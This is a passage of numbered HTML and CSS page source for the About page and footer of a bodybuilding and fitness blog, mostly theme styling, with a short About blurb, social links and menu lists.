3023 height: 0; 3024 padding-bottom: 100%; 3025 }.tdi_45 .td_single_image_bg{ 3026 height: 400px; 3027 padding-bottom: 0; 3028 3029 background-repeat: no-repeat; 3030 3031 background-position: center top; 3032 }.tdi_45:hover .td_single_image_bg:before{ 3033 opacity: 0; 3034 }@media (max-width: 767px) { 3035 .td-stretch-content .td_block_single_image { 3036 margin-right: -20px; 3037 margin-left: -20px; 3038 } 3039 }@media (max-width: 767px) { 3040 .td-single-image-style-border, 3041 .td-single-image-style-round-border, 3042 .td-single-image-style-circle-border, 3043 .td-single-image-style-outline, 3044 .td-single-image-style-bordered-shadow, 3045 .td-single-image-style-round-outline, 3046 .td-single-image-style-round-border-shadow, 3047 .td-single-image-style-circle-outline, 3048 .td-single-image-style-circle-border-shadow { 3049 margin-bottom: 32px; 3050 } 3051 } 3052</style></div><div class="td_block_wrap td_block_text_with_title tdi_46 tagdiv-type td-pb-border-top td_block_template_2" data-td-block-uid="tdi_46" > 3053<style> 3054.td_block_template_2.widget > ul > li { 3055 margin-left: 0 !important; 3056 } 3057 3058 .td_block_template_2 .td-block-title { 3059 font-size: 17px; 3060 font-weight: 500; 3061 margin-top: 0; 3062 margin-bottom: 16px; 3063 line-height: 31px; 3064 text-align: left; 3065 } 3066 .td_block_template_2 .td-block-title > * { 3067 color: #000; 3068 } 3069 .td_block_template_2 .td-related-title a { 3070 padding: 0 20px 0 0; 3071 } 3072 @media (max-width: 767px) { 3073 .td_block_template_2 .td-related-title a { 3074 font-size: 15px; 3075 } 3076 } 3077 .td_block_template_2 .td-related-title .td-cur-simple-item { 3078 color: #4db2ec; 3079 } 3080</style> 3081<style> 3082/* custom css */ 3083.td_block_text_with_title{ 3084 margin-bottom: 44px; 3085 -webkit-transform: translateZ(0); 3086 transform: translateZ(0); 3087 }.td_block_text_with_title p:last-child{ 3088 margin-bottom: 0; 3089 } 3090</style><div class="td-block-title-wrap"><h4 class="td-block-title"><span class="td-pulldown-size">About</span></h4></div><div class="td_mod_wrap td-fix-index"><div class="td-main-content-wrap td-main-page-wrap td-container-wrap"> 3091<div class="tdc-content-wrap">TheDailiyPump.com brings you tips to get the best results from your bodybuilding workouts. The weight loss tips, protein powder and various supplements included in the contents and all other information differ from person to person, but are prepared to benefit you. However, it should not be forgotten that this information should never be used for diagnosis and treatment purposes for diseases and other problems. Articles, only the authors’ knowledge, the transfer of experiences and ideas.</div> 3092</div> 3093</div></div></div></div></div></div></div></div> </div> 3094 </div> <!-- /.td-main-content-wrap --> 3095 3096 3097 3098 3099 <div class="td-footer-template-wrap" style="position: relative"> 3100 <div class="td-footer-wrap "> 3101 <div id="tdi_47" class="tdc-zone"><div class="tdc_zone tdi_48 wpb_row td-pb-row" > 3102<style scoped> 3103 3104/* custom css */ 3105.tdi_48{ 3106 min-height: 0; 3107 } 3108</style><div id="tdi_49" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_50 wpb_row td-pb-row tdc-element-style" > 3109<style scoped> 3110 3111/* custom css */ 3112.tdi_50, 3113 .tdi_50 .tdc-columns{ 3114 min-height: 0; 3115 }.tdi_50, 3116 .tdi_50 .tdc-columns{ 3117 display: block; 3118 }.tdi_50 .tdc-columns{ 3119 width: 100%; 3120 } 3121/* inline tdc_css att */ 3122 3123.tdi_50{ 3124position:relative; 3125} 3126 3127.tdi_50 .td_block_wrap{ text-align:left } 3128 3129</style> 3130<div class="tdi_49_rand_style td-element-style" ><style> 3131.tdi_49_rand_style{ 3132background-color:#e8efef !important; 3133} 3134 </style></div><div class="vc_column tdi_52 wpb_column vc_column_container tdc-column td-pb-span12"> 3135<style scoped> 3136 3137/* custom css */ 3138.tdi_52{ 3139 vertical-align: baseline; 3140 }.tdi_52 > .wpb_wrapper, 3141 .tdi_52 > .wpb_wrapper > .tdc-elements{ 3142 display: block; 3143 }.tdi_52 > .wpb_wrapper > .tdc-elements{ 3144 width: 100%; 3145 }.tdi_52 > .wpb_wrapper > .vc_row_inner{ 3146 width: auto; 3147 }.tdi_52 > .wpb_wrapper{ 3148 width: auto; 3149 height: auto; 3150 } 3151</style><div class="wpb_wrapper" ><div class="wpb_wrapper td_block_separator td_block_wrap vc_separator tdi_54 td_separator_solid td_separator_center"><span style="border-color:#dce2e5;border-width:1px;width:100%;"></span> 3152<style scoped> 3153 3154/* custom css */ 3155.td_block_separator{ 3156 width: 100%; 3157 align-items: center; 3158 margin-bottom: 38px; 3159 padding-bottom: 10px; 3160 }.td_block_separator span{ 3161 position: relative; 3162 display: block; 3163 margin: 0 auto; 3164 width: 100%; 3165 height: 1px; 3166 border-top: 1px solid #EBEBEB; 3167 }.td_separator_align_left span{ 3168 margin-left: 0; 3169 }.td_separator_align_right span{ 3170 margin-right: 0; 3171 }.td_separator_dashed span{ 3172 border-top-style: dashed; 3173 }.td_separator_dotted span{ 3174 border-top-style: dotted; 3175 }.td_separator_double span{ 3176 height: 3px; 3177 border-bottom: 1px solid #EBEBEB; 3178 }.td_separator_shadow > span{ 3179 position: relative; 3180 height: 20px; 3181 overflow: hidden; 3182 border: 0; 3183 color: #EBEBEB; 3184 }.td_separator_shadow > span > span{ 3185 position: absolute; 3186 top: -30px; 3187 left: 0; 3188 right: 0; 3189 margin: 0 auto; 3190 height: 13px; 3191 width: 98%; 3192 border-radius: 100%; 3193 }html :where([style*='border-width']){ 3194 border-style: none; 3195 } 3196/* inline tdc_css att */ 3197 3198.tdi_54{ 3199margin-bottom:0px !important; 3200} 3201 3202</style></div></div></div></div></div><div id="tdi_55" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_56 wpb_row td-pb-row tdc-element-style" > 3203<style scoped> 3204 3205/* custom css */ 3206.tdi_56, 3207 .tdi_56 .tdc-columns{ 3208 min-height: 0; 3209 }.tdi_56, 3210 .tdi_56 .tdc-columns{ 3211 display: block; 3212 }.tdi_56 .tdc-columns{ 3213 width: 100%; 3214 } 3215/* inline tdc_css att */ 3216 3217.tdi_56{ 3218padding-top:80px !important; 3219padding-bottom:80px !important; 3220position:relative; 3221} 3222 3223.tdi_56 .td_block_wrap{ text-align:left } 3224 3225/* landscape */ 3226@media (min-width: 1019px) and (max-width: 1140px) 3227{ 3228.tdi_56{ 3229padding-top:50px !important; 3230padding-bottom:60px !important; 3231} 3232} 3233 3234/* portrait */ 3235@media (min-width: 768px) and (max-width: 1018px) 3236{ 3237.tdi_56{ 3238padding-top:30px !important; 3239padding-bottom:40px !important; 3240} 3241} 3242 3243/* phone */ 3244@media (max-width: 767px) 3245{ 3246.tdi_56{ 3247padding-top:30px !important; 3248padding-right:10px !important; 3249padding-bottom:60px !important; 3250padding-left:10px !important; 3251} 3252} 3253 3254</style> 3255<div class="tdi_55_rand_style td-element-style" ><style> 3256.tdi_55_rand_style{ 3257background-color:#e8efef !important; 3258} 3259 </style></div><div class="vc_column tdi_58 wpb_column vc_column_container tdc-column td-pb-span3"> 3260<style scoped> 3261 3262/* custom css */ 3263.tdi_58{ 3264 vertical-align: baseline; 3265 }.tdi_58 > .wpb_wrapper, 3266 .tdi_58 > .wpb_wrapper > .tdc-elements{ 3267 display: block; 3268 }.tdi_58 > .wpb_wrapper > .tdc-elements{ 3269 width: 100%; 3270 }.tdi_58 > .wpb_wrapper > .vc_row_inner{ 3271 width: auto; 3272 }.tdi_58 > .wpb_wrapper{ 3273 width: auto; 3274 height: auto; 3275 } 3276/* inline tdc_css att */ 3277 3278.tdi_58{ 3279padding-right:130px !important; 3280width:34% !important; 3281} 3282 3283/* landscape */ 3284@media (min-width: 1019px) and (max-width: 1140px) 3285{ 3286.tdi_58{ 3287padding-right:0px !important; 3288width:30% !important; 3289} 3290} 3291 3292/* portrait */ 3293@media (min-width: 768px) and (max-width: 1018px) 3294{ 3295.tdi_58{ 3296padding-right:20px !important; 3297width:34% !important; 3298} 3299} 3300 3301/* phone */ 3302@media (max-width: 767px) 3303{ 3304.tdi_58{ 3305margin-bottom:40px !important; 3306padding-right:0px !important; 3307width:100% !important; 3308} 3309} 3310 3311</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_59 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_59" > 3312<style> 3313 3314/* inline tdc_css att */ 3315 3316/* phone */ 3317@media (max-width: 767px) 3318{ 3319.tdi_59{ 3320justify-content:center !important; 3321text-align:center !important; 3322} 3323} 3324 3325/* landscape */ 3326@media (min-width: 1019px) and (max-width: 1140px) 3327{ 3328.tdi_59{ 3329margin-left:-5px !important; 3330} 3331} 3332 3333</style> 3334<style> 3335/* custom css */ 3336.tdi_59{ 3337 display: inline-block; 3338 }.tdi_59 .tdb-logo-a, 3339 .tdi_59 h1{ 3340 align-items: flex-start; 3341 3342 justify-content: flex-start; 3343 }.tdi_59 .tdb-logo-svg-wrap{ 3344 display: block; 3345 }.tdi_59 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 3346 display: none; 3347 }.tdi_59 .tdb-logo-text-tagline{ 3348 margin-top: 0;
3349 margin-left: 8px; 3350 3351 display: none; 3352 3353 color: #333333; 3354 3355 font-family:Noto Sans !important;font-size:26px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 3356 }.tdi_59 .tdb-logo-text-title{ 3357 display: none; 3358 3359 color: #333333; 3360 3361 font-family:Bree Serif !important;font-size:30px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 3362 }.tdi_59 .tdb-logo-text-wrap{ 3363 flex-direction: row; 3364 align-items: baseline; 3365 }.tdi_59 .tdb-logo-icon-svg svg{ 3366 width: 22px; 3367 }.tdi_59 .tdb-logo-icon{ 3368 margin-right: 10px; 3369 3370 top: 5px; 3371 3372 display: block; 3373 3374 color: #333333; 3375 }.tdi_59 .tdb-logo-icon:last-child{ 3376 margin-right: 0; 3377 }.tdi_59 .tdb-logo-icon-svg svg, 3378 .tdi_59 .tdb-logo-icon-svg svg *{ 3379 fill: #333333; 3380 } 3381 3382/* landscape */ 3383@media (min-width: 1019px) and (max-width: 1140px){ 3384.tdi_59 .tdb-logo-img{ 3385 max-width: 100px; 3386 } 3387} 3388 3389/* portrait */ 3390@media (min-width: 768px) and (max-width: 1018px){ 3391.tdi_59 .tdb-logo-img{ 3392 max-width: 80px; 3393 }.tdi_59 .tdb-logo-img-wrap{ 3394 margin-top: 0px; 3395 3396 margin-bottom: 0px; 3397 3398 margin-right: 5px; 3399 3400 margin-left: 0px; 3401 }.tdi_59 .tdb-logo-img-wrap:first-child{ 3402 margin-top: 0; 3403 3404 margin-left: 0; 3405 }.tdi_59 .tdb-logo-img-wrap:last-child{ 3406 margin-bottom: 0; 3407 3408 margin-right: 0; 3409 }.tdi_59 .tdb-logo-text-tagline{ 3410 margin-top: 0; 3411 margin-left: 5px; 3412 3413 font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 3414 }.tdi_59 .tdb-logo-text-title{ 3415 font-family:Bree Serif !important;font-size:24px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 3416 } 3417} 3418 3419/* phone */ 3420@media (max-width: 767px){ 3421.tdi_59 .tdb-logo-img-wrap{ 3422 margin-top: 0px; 3423 3424 margin-bottom: 0px; 3425 3426 margin-right: 5px; 3427 3428 margin-left: 0px; 3429 }.tdi_59 .tdb-logo-img-wrap:first-child{ 3430 margin-top: 0; 3431 3432 margin-left: 0; 3433 }.tdi_59 .tdb-logo-img-wrap:last-child{ 3434 margin-bottom: 0; 3435 3436 margin-right: 0; 3437 } 3438} 3439</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://thedailypump.com/"><h1><span class="tdb-logo-img-wrap"><img class="tdb-logo-img" src="https://thedailypump.com/wp-content/uploads/2020/05/thedailypumplogo-02.png" alt="Logo" title="" width="2196" height="714" /></span><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></h1></a></div></div> <!-- ./block --><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_60 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_60" > 3440<style> 3441 3442/* inline tdc_css att */ 3443 3444.tdi_60{ 3445margin-bottom:20px !important; 3446} 3447 3448/* portrait */ 3449@media (min-width: 768px) and (max-width: 1018px) 3450{ 3451.tdi_60{ 3452margin-bottom:15px !important; 3453} 3454} 3455 3456</style> 3457<style> 3458/* custom css */ 3459.tdm_block.tdm_block_inline_text{ 3460 margin-bottom: 0; 3461 vertical-align: top; 3462 }.tdm_block.tdm_block_inline_text .tdm-descr{ 3463 margin-bottom: 0; 3464 -webkit-transform: translateZ(0); 3465 transform: translateZ(0); 3466 }.tdc-row-content-vert-center .tdm-inline-text-yes{ 3467 vertical-align: middle; 3468 }.tdc-row-content-vert-bottom .tdm-inline-text-yes{ 3469 vertical-align: bottom; 3470 }.tdi_60{ 3471 text-align: left !important; 3472 }.tdi_60 .tdm-descr{ 3473 color: #333333; 3474 3475 font-family:Noto Sans !important;font-size:13px !important;line-height:1.5 !important; 3476 } 3477 3478/* portrait */ 3479@media (min-width: 768px) and (max-width: 1018px){ 3480.tdi_60 .tdm-descr{ 3481 font-family:Noto Sans !important;font-size:12px !important;line-height:1.5 !important; 3482 } 3483} 3484</style><p class="tdm-descr">TheDailiyPump.com brings you tips to get the best results from your bodybuilding workouts.</p></div><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_61 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_61" > 3485<style> 3486 3487/* inline tdc_css att */ 3488 3489.tdi_61{ 3490margin-bottom:35px !important; 3491} 3492 3493/* portrait */ 3494@media (min-width: 768px) and (max-width: 1018px) 3495{ 3496.tdi_61{ 3497margin-bottom:25px !important; 3498} 3499} 3500 3501/* phone */ 3502@media (max-width: 767px) 3503{ 3504.tdi_61{ 3505margin-bottom:30px !important; 3506} 3507} 3508 3509</style> 3510<style> 3511/* custom css */ 3512.tdi_61{ 3513 text-align: left !important; 3514 }.tdi_61 .tdm-descr{ 3515 color: #333333; 3516 3517 font-family:Noto Sans !important;font-size:13px !important;line-height:1.5 !important; 3518 } 3519 3520/* portrait */ 3521@media (min-width: 768px) and (max-width: 1018px){ 3522.tdi_61 .tdm-descr{ 3523 font-family:Noto Sans !important;font-size:12px !important;line-height:1.5 !important; 3524 } 3525} 3526</style><p class="tdm-descr">© TheDailyPump.com | All rights reserved</p></div><div class="tdm_block td_block_wrap tdm_block_socials tdi_62 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_62" > 3527<style> 3528/* custom css */ 3529.tdm_block.tdm_block_socials{ 3530 margin-bottom: 0; 3531 }.tdm-social-wrapper{ 3532 *zoom: 1; 3533 }.tdm-social-wrapper:before, 3534 .tdm-social-wrapper:after{ 3535 display: table; 3536 content: ''; 3537 line-height: 0; 3538 }.tdm-social-wrapper:after{ 3539 clear: both; 3540 }.tdm-social-item-wrap{ 3541 display: inline-block; 3542 }.tdm-social-item{ 3543 position: relative; 3544 display: inline-block; 3545 vertical-align: middle; 3546 -webkit-transition: all 0.2s; 3547 transition: all 0.2s; 3548 text-align: center; 3549 -webkit-transform: translateZ(0); 3550 transform: translateZ(0); 3551 }.tdm-social-item i{ 3552 font-size: 14px; 3553 color: #4db2ec; 3554 -webkit-transition: all 0.2s; 3555 transition: all 0.2s; 3556 }.tdm-social-text{ 3557 display: none;
3558 margin-top: -1px; 3559 vertical-align: middle; 3560 font-size: 13px; 3561 color: #4db2ec; 3562 -webkit-transition: all 0.2s; 3563 transition: all 0.2s; 3564 }.tdm-social-item-wrap:hover i, 3565 .tdm-social-item-wrap:hover .tdm-social-text{ 3566 color: #000; 3567 }.tdm-social-item-wrap:last-child .tdm-social-text{ 3568 margin-right: 0 !important; 3569 } 3570</style> 3571<style> 3572.tdi_63 .tdm-social-item i{ 3573 font-size: 18px; 3574 vertical-align: middle; 3575 3576 line-height: 45px; 3577 }.tdi_63 .tdm-social-item i.td-icon-twitter, 3578 .tdi_63 .tdm-social-item i.td-icon-linkedin, 3579 .tdi_63 .tdm-social-item i.td-icon-pinterest, 3580 .tdi_63 .tdm-social-item i.td-icon-blogger, 3581 .tdi_63 .tdm-social-item i.td-icon-vimeo{ 3582 font-size: 14.4px; 3583 }.tdi_63 .tdm-social-item{ 3584 width: 45px; 3585 height: 45px; 3586 3587 margin: 7px 14px 7px 0; 3588 3589 background: #ffffff; 3590 3591 border-radius: 50px; 3592 3593 box-shadow: 0px 5px 20px 0px rgba(0,0,0,0.16); 3594 }.tdi_63 .tdm-social-item-wrap:last-child .tdm-social-item{ 3595 margin-right: 0 !important; 3596 }.tdi_63 .tdm-social-item i, 3597 .tds-team-member2 .tdi_63.tds-social5 .tdm-social-item i{ 3598 color: #333333; 3599 }.tdi_63 .tdm-social-item-wrap:hover i, 3600 .tds-team-member2 .tdi_63.tds-social5 .tdm-social-item-wrap:hover i{ 3601 color: #333333; 3602 }.tdi_63 .tdm-social-item-wrap:hover .tdm-social-item{ 3603 background: #ffffff; 3604 3605 box-shadow: 0px 2px 10px 0px rgba(0,0,0,0.1); 3606 }.tdi_63 .tdm-social-text{ 3607 display: none; 3608 3609 margin-left: 2px; 3610 3611 margin-right: 18px; 3612 } 3613 3614/* landscape */ 3615@media (min-width: 1019px) and (max-width: 1140px){ 3616 3617} 3618 3619/* portrait */ 3620@media (min-width: 768px) and (max-width: 1018px){ 3621.tdi_63 .tdm-social-item i{ 3622 font-size: 16px; 3623 vertical-align: middle; 3624 3625 line-height: 40px; 3626 }.tdi_63 .tdm-social-item i.td-icon-twitter, 3627 .tdi_63 .tdm-social-item i.td-icon-linkedin, 3628 .tdi_63 .tdm-social-item i.td-icon-pinterest, 3629 .tdi_63 .tdm-social-item i.td-icon-blogger, 3630 .tdi_63 .tdm-social-item i.td-icon-vimeo{ 3631 font-size: 12.8px; 3632 }.tdi_63 .tdm-social-item{ 3633 width: 40px; 3634 height: 40px; 3635 3636 margin: 4px 8px 4px 0; 3637 } 3638} 3639 3640/* phone */ 3641@media (max-width: 767px){ 3642 3643} 3644</style><div class="tdm-social-wrapper tds-social5 tdi_63"><div class="tdm-social-item-wrap"><a href="https://www.facebook.com/ThatPump" title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i></a><a href="https://www.facebook.com/ThatPump" class="tdm-social-text">Facebook</a></div><div class="tdm-social-item-wrap"><a href="https://www.instagram.com/daily.pumps/" title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i></a><a href="https://www.instagram.com/daily.pumps/" class="tdm-social-text">Instagram</a></div><div class="tdm-social-item-wrap"><a href="https://twitter.com/thedailypump" title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i></a><a href="https://twitter.com/thedailypump" class="tdm-social-text">Twitter</a></div><div class="tdm-social-item-wrap"><a href="https://www.youtube.com/channel/UCvbak2fWlKEC1WNhvarysHg" title="Youtube" class="tdm-social-item"><i class="td-icon-font td-icon-youtube"></i></a><a href="https://www.youtube.com/channel/UCvbak2fWlKEC1WNhvarysHg" class="tdm-social-text">Youtube</a></div></div></div></div></div><div class="vc_column tdi_65 wpb_column vc_column_container tdc-column td-pb-span3"> 3645<style scoped> 3646 3647/* custom css */ 3648.tdi_65{ 3649 vertical-align: baseline; 3650 }.tdi_65 > .wpb_wrapper, 3651 .tdi_65 > .wpb_wrapper > .tdc-elements{ 3652 display: block; 3653 }.tdi_65 > .wpb_wrapper > .tdc-elements{ 3654 width: 100%; 3655 }.tdi_65 > .wpb_wrapper > .vc_row_inner{ 3656 width: auto; 3657 }.tdi_65 > .wpb_wrapper{ 3658 width: auto; 3659 height: auto; 3660 } 3661/* inline tdc_css att */ 3662 3663.tdi_65{ 3664width:20% !important; 3665} 3666 3667/* phone */ 3668@media (max-width: 767px) 3669{ 3670.tdi_65{ 3671margin-bottom:40px !important; 3672width:100% !important; 3673} 3674} 3675 3676/* portrait */ 3677@media (min-width: 768px) and (max-width: 1018px) 3678{ 3679.tdi_65{ 3680width:18% !important; 3681} 3682} 3683 3684</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_66 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_66" > 3685<style> 3686 3687/* inline tdc_css att */ 3688 3689.tdi_66{ 3690margin-top:-10px !important; 3691margin-bottom:5px !important; 3692margin-left:-5px !important; 3693} 3694 3695/* phone */ 3696@media (max-width: 767px) 3697{ 3698.tdi_66{ 3699margin-left:0px !important; 3700} 3701} 3702 3703</style> 3704<style> 3705/* custom css */ 3706.tdm_block_column_title{ 3707 margin-bottom: 0; 3708 display: inline-block; 3709 width: 100%; 3710 } 3711</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> 3712<style> 3713body .tdi_67 .tdm-title{ 3714 color: #22b573; 3715 }body .tdi_66:hover .tdi_67 .tdm-title{ 3716 color: #333333; 3717 3718 -webkit-text-fill-color: unset; 3719 background: transparent; 3720 transition: none; 3721 }.tdi_66:hover .tdi_67 .tdm-title{ 3722 cursor: default; 3723 }.tdi_67 .tdm-title{ 3724 font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important; 3725 } 3726 3727/* portrait */ 3728@media (min-width: 768px) and (max-width: 1018px){ 3729.tdi_67 .tdm-title{ 3730 font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important; 3731 } 3732} 3733</style><div class="tds-title tds-title1 td-fix-index tdi_67"><h2 class="tdm-title tdm-title-sm">Pages</h2></div></div></div></div><div class="td_block_wrap td_block_list_menu tdi_68 td-pb-border-top td_block_template_1 widget" data-td-block-uid="tdi_68" > 3734<style> 3735 3736/* inline tdc_css att */ 3737 3738.tdi_68{ 3739margin-bottom:0px !important; 3740} 3741 3742</style> 3743<style> 3744/* custom css */ 3745.td_block_list_menu ul{ 3746 flex-wrap: wrap; 3747 margin-left: 12px; 3748 }.td_block_list_menu ul li{ 3749 margin-left: 0; 3750 }.td_block_list_menu .sub-menu{ 3751 padding-left: 22px; 3752 }.td_block_list_menu .sub-menu li{ 3753 font-size: 13px; 3754 }.td_block_list_menu li.current-menu-item > a, 3755 .td_block_list_menu li.current-menu-ancestor > a, 3756 .td_block_list_menu li.current-category-ancestor > a{ 3757 color: #4db2ec; 3758 }.tdi_68 ul{ 3759 margin: 0px; 3760 3761 text-align: left; 3762 justify-content: flex-start; 3763 }.tdi_68 a{ 3764 color: #333333; 3765 }body .tdi_68 li.current-menu-item > a, 3766 body .tdi_68 li.current-menu-ancestor > a, 3767 body .tdi_68 li.current-category-ancestor > a, 3768 body .tdi_68 a:hover{ 3769 color: #e2b26f; 3770 }.tdi_68 li{ 3771 font-family:Noto Sans !important;font-size:13px !important;line-height:2.35 !important; 3772 } 3773 3774/* portrait */ 3775@media (min-width: 768px) and (max-width: 1018px){ 3776.tdi_68 li{ 3777 font-family:Noto Sans !important;font-size:12px !important;line-height:2.35 !important; 3778 } 3779} 3780</style><div class="td-block-title-wrap"></div><div id=tdi_68 class="td_block_inner td-fix-index"><div class="menu-footer-pages-container"><ul id="menu-footer-pages" class="menu"><li id="menu-item-1278" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1278"><a href="/">Home</a></li> 3781<li id="menu-item-1277" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1260 current_page_item menu-item-1277">
3781<a href="https://thedailypump.com/about/" aria-current="page">About</a></li> 3782<li id="menu-item-1276" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1276"><a href="https://thedailypump.com/contact/">Contact</a></li> 3783</ul></div></div></div></div></div><div class="vc_column tdi_70 wpb_column vc_column_container tdc-column td-pb-span3"> 3784<style scoped> 3785 3786/* custom css */ 3787.tdi_70{ 3788 vertical-align: baseline; 3789 }.tdi_70 > .wpb_wrapper, 3790 .tdi_70 > .wpb_wrapper > .tdc-elements{ 3791 display: block; 3792 }.tdi_70 > .wpb_wrapper > .tdc-elements{ 3793 width: 100%; 3794 }.tdi_70 > .wpb_wrapper > .vc_row_inner{ 3795 width: auto; 3796 }.tdi_70 > .wpb_wrapper{ 3797 width: auto; 3798 height: auto; 3799 } 3800/* inline tdc_css att */ 3801 3802.tdi_70{ 3803width:20% !important; 3804} 3805 3806/* phone */ 3807@media (max-width: 767px) 3808{ 3809.tdi_70{ 3810margin-bottom:40px !important; 3811width:100% !important; 3812} 3813} 3814 3815/* portrait */ 3816@media (min-width: 768px) and (max-width: 1018px) 3817{ 3818.tdi_70{ 3819width:18% !important; 3820} 3821} 3822 3823</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_71 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_71" > 3824<style> 3825 3826/* inline tdc_css att */ 3827 3828.tdi_71{ 3829margin-top:-10px !important; 3830margin-left:-5px !important; 3831} 3832 3833/* phone */ 3834@media (max-width: 767px) 3835{ 3836.tdi_71{ 3837margin-left:0px !important; 3838} 3839} 3840 3841</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> 3842<style> 3843body .tdi_72 .tdm-title{ 3844 color: #22b573; 3845 }body .tdi_71:hover .tdi_72 .tdm-title{ 3846 color: #333333; 3847 3848 -webkit-text-fill-color: unset; 3849 background: transparent; 3850 transition: none; 3851 }.tdi_71:hover .tdi_72 .tdm-title{ 3852 cursor: default; 3853 }.tdi_72 .tdm-title{ 3854 font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important; 3855 } 3856 3857/* portrait */ 3858@media (min-width: 768px) and (max-width: 1018px){ 3859.tdi_72 .tdm-title{ 3860 font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important; 3861 } 3862} 3863</style><div class="tds-title tds-title1 td-fix-index tdi_72"><h2 class="tdm-title tdm-title-sm">Categories</h2></div></div></div></div><div class="td_block_wrap td_block_list_menu tdi_73 td-pb-border-top td_block_template_1 widget" data-td-block-uid="tdi_73" > 3864<style> 3865 3866/* inline tdc_css att */ 3867 3868.tdi_73{ 3869margin-bottom:0px !important; 3870} 3871 3872</style> 3873<style> 3874/* custom css */ 3875.tdi_73 ul{ 3876 margin: 0px; 3877 3878 text-align: left; 3879 justify-content: flex-start; 3880 }.tdi_73 a{ 3881 color: #333333; 3882 }body .tdi_73 li.current-menu-item > a, 3883 body .tdi_73 li.current-menu-ancestor > a, 3884 body .tdi_73 li.current-category-ancestor > a, 3885 body .tdi_73 a:hover{ 3886 color: #e2b26f; 3887 }.tdi_73 li{ 3888 font-family:Noto Sans !important;font-size:13px !important;line-height:2.35 !important; 3889 } 3890 3891/* portrait */ 3892@media (min-width: 768px) and (max-width: 1018px){ 3893.tdi_73 li{ 3894 font-family:Noto Sans !important;font-size:12px !important;line-height:2.35 !important; 3895 } 3896} 3897</style><div class="td-block-title-wrap"></div><div id=tdi_73 class="td_block_inner td-fix-index"><div class="menu-footer-categories-container"><ul id="menu-footer-categories" class="menu"><li id="menu-item-1279" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1279"><a href="https://thedailypump.com/category/events/">Events</a></li> 3898<li id="menu-item-1281" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1281"><a href="https://thedailypump.com/category/fitness/">Fitness</a></li> 3899<li id="menu-item-1283" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1283"><a href="https://thedailypump.com/category/nutrition-and-supplements/">Nutrition and Supplements</a></li> 3900<li id="menu-item-1285" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1285"><a href="https://thedailypump.com/category/product-reviews/">Product Reviews</a></li> 3901<li id="menu-item-1286" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1286">
3901<a href="https://thedailypump.com/category/videos/">Videos</a></li> 3902<li id="menu-item-1287" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1287"><a href="https://thedailypump.com/category/weight-loss/">Weight Loss</a></li> 3903</ul></div></div></div></div></div><div class="vc_column tdi_75 wpb_column vc_column_container tdc-column td-pb-span3"> 3904<style scoped> 3905 3906/* custom css */ 3907.tdi_75{ 3908 vertical-align: baseline; 3909 }.tdi_75 > .wpb_wrapper, 3910 .tdi_75 > .wpb_wrapper > .tdc-elements{ 3911 display: block; 3912 }.tdi_75 > .wpb_wrapper > .tdc-elements{ 3913 width: 100%; 3914 }.tdi_75 > .wpb_wrapper > .vc_row_inner{ 3915 width: auto; 3916 }.tdi_75 > .wpb_wrapper{ 3917 width: auto; 3918 height: auto; 3919 } 3920/* inline tdc_css att */ 3921 3922.tdi_75{ 3923width:26% !important; 3924} 3925 3926/* phone */ 3927@media (max-width: 767px) 3928{ 3929.tdi_75{ 3930width:100% !important; 3931} 3932} 3933 3934/* portrait */ 3935@media (min-width: 768px) and (max-width: 1018px) 3936{ 3937.tdi_75{ 3938width:30% !important; 3939} 3940} 3941 3942/* landscape */ 3943@media (min-width: 1019px) and (max-width: 1140px) 3944{ 3945.tdi_75{ 3946width:30% !important; 3947} 3948} 3949 3950</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_76 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_76" > 3951<style> 3952 3953/* inline tdc_css att */ 3954 3955.tdi_76{ 3956margin-top:-10px !important; 3957margin-bottom:10px !important; 3958margin-left:-5px !important; 3959} 3960 3961/* phone */ 3962@media (max-width: 767px) 3963{ 3964.tdi_76{ 3965margin-left:0px !important; 3966} 3967} 3968 3969</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> 3970<style> 3971body .tdi_77 .tdm-title{ 3972 color: #22b573; 3973 }body .tdi_76:hover .tdi_77 .tdm-title{ 3974 color: #333333; 3975 3976 